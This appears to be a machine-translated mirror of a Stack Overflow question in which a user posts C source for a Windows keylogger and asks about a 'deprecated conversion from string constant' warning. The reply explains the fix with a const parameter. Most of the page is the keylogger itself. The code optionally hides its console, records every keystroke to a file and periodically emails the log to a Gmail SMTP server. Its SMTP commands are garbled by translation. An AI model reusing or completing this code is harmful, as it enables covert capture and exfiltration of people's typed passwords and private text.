简体   繁体   English

您好,我的代码中有语法问题。 你能帮助我吗?

[英]Greetings, I have a syntax problem in my code. Can you help me?

I have a code made in c ++ however I am using an IDE called DEV-C ++ and it presents a compilation error:我有一个用 c ++ 编写的代码,但是我使用的是一个名为 DEV-C ++ 的 IDE ,它会出现编译错误:

[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings] [警告] 不推荐将字符串常量转换为 'char*' [-Wwrite-strings]

The error points to the condition inside the if: savePressedKey.错误指向 if: savePressedKey 中的条件。

if(pressedKey) {
   savePressedKey(pressedKey, FILE_NAME);
   now = clock();
} 

My code is below and also by the link: https://godbolt.org/z/zqgCzS我的代码在下面,也通过链接: https://godbolt.org/z/zqgCzS

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0 
#define SILENT_CONSOLE 0 

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100 

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
    if(INVISIBLE_CONSOLE) {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
}

void savePressedKey(char pressedKey, char fileName[]) {
    FILE *file = fopen(fileName, "a+");

    fputc(pressedKey, file);
    fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
    int pressedKey = 0;

    for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
        if(GetAsyncKeyState(character) == -32767) {
            pressedKey = character;
        }
    }

    return pressedKey;
}

int getFileLength(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    fseek(file, 0, SEEK_END);

    int fileLength = ftell(file);

    fclose(file);

    return fileLength;
}

char *getBufferFromFile(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    int fileLength = getFileLength(fileName);

    char *buffer = (char *) malloc(fileLength + 1);

    fread(buffer, sizeof(char), fileLength, file);

    buffer[fileLength] = '\0';

    fclose(file);

    return buffer;
}

void overrideFile(char fileName[]) {
    FILE *file = fopen(fileName, "w");

    fclose(file);
}

int main() {
    verifyStealthMode();

    clock_t timer;
    clock_t now = clock();

    while(1) {
        int pressedKey = getPressedKeyBetweenASCII(8, 255);

        if(pressedKey) {
            savePressedKey(pressedKey, FILE_NAME);

            now = clock();
        }

        timer = (clock() - now) / CLOCKS_PER_SEC;

        if(timer > LISTENER_TIMER) {
            int fileLength = getFileLength(FILE_NAME);

            if(fileLength > 0) {
                sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

                overrideFile(FILE_NAME);
            }

            now = clock();
        } else if(!SILENT_CONSOLE) {
            system("cls");
            printf("Lendo...");
            printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
        }
    }

    return 0;
}

void sendData(SOCKET sock, char data[]) {
    send(sock, data, strlen(data), 0);
    Sleep(SENDER_SLEEP_TIME);

    if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
    SOCKET sock;
    WSADATA wsaData;
    struct hostent *host;
    struct sockaddr_in dest;

    char data[3000];

    // Get socket and dest:
    WSAStartup(0x202, &wsaData);

    host = gethostbyname(server);

    memset(&dest, 0, sizeof(dest));
    memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

    dest.sin_family = host->h_addrtype;
    dest.sin_port = htons(25);

    sock = socket(AF_INET, SOCK_STREAM, 0);

    connect(sock, (struct sockaddr *) &dest, sizeof(dest));
    Sleep(SENDER_SLEEP_TIME);

    sprintf(data, "Ola me.somepalace.com\n");
    sendData(sock, data);

    sprintf(data, "Email de: <%s>\n", from);
    sendData(sock, data);

    sprintf(data, "recebido por: <%s>\n", to);
    sendData(sock, data);

    sprintf(data, "DATA\n");
    sendData(sock, data);

    sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
    sendData(sock, data);

    sprintf(data, "sair\n");
    sendData(sock, data);

    if(!SILENT_CONSOLE) {
        printf("\ntodos os pacotes foram enviados");
        Sleep(5000);
        system("cls");
    }

    closesocket(sock);
    WSACleanup();
}

This warning means that you are trying to pass a string literal that in C++ (opposite to C) has the type of a constant character array to a function the corresponding parameter of which does not have the qualifier const .此警告意味着您正在尝试将 C++(与 C 相对)中具有常量字符数组类型的字符串文字传递给 function ,其对应的参数没有限定符const

If this function does not change the passed string then it shall be declared like如果此 function 不更改传递的字符串,则应声明为

void savePressedKey(char pressedKey, const char fileName[]);

Otherwise if the function changes the passed string using a string literal as an argument will result in undefined behavior.否则,如果 function 使用字符串文字作为参数更改传递的字符串,将导致未定义的行为。

Even if the program is a C program nevertheless you should declare the parameter with the qualifier const .即使程序是 C 程序,您也应该使用限定符const声明参数。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 我的代码中出现以下错误。 有人能帮我修一下吗 - i got the following error in my code. can some help me fix it 键盘记录程序代码错误。 你能帮我吗? - Error in keylogger code. Would you help me? 有人可以帮我修改此代码。 我正在尝试显示棋盘格C ++ QT - can someone help me modify this code. I'm trying to Display a checkerboard C++ QT 嗨,我对这段代码有疑问。 奇数和偶数 - Hi, i have a problem with this code. ODD and EVEN numbers 我的代码有错误。 有指针的东西我似乎无法修复它 - I have an error in my code. Something with pointers I can't seem to fix it 你能帮我解决我的递归 function 吗? - Can you help me with my recursive function? 我关于递归地乘以数字的代码没有给出任何 output 你能帮我改正吗 - my code about multiplying digits recursively isn't giving any output can you help me rectify it 我尝试在问题中使用 map 但似乎错误我找不到问题。 你可以帮帮我吗? - I tried to use map in problem but it seems wrong i can t find problem. Could you help me? 我试图实现合并排序,但无法找到我的代码的确切问题。 该程序没有显示错误,但我没有得到想要的 output - I have tried to implement mergesort and am unable to find the exact problem of my code. The program shows no errors but I do not get a desired output 你能帮我理解这个C ++模板代码吗? - Can you help me understand this C++ template code?
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM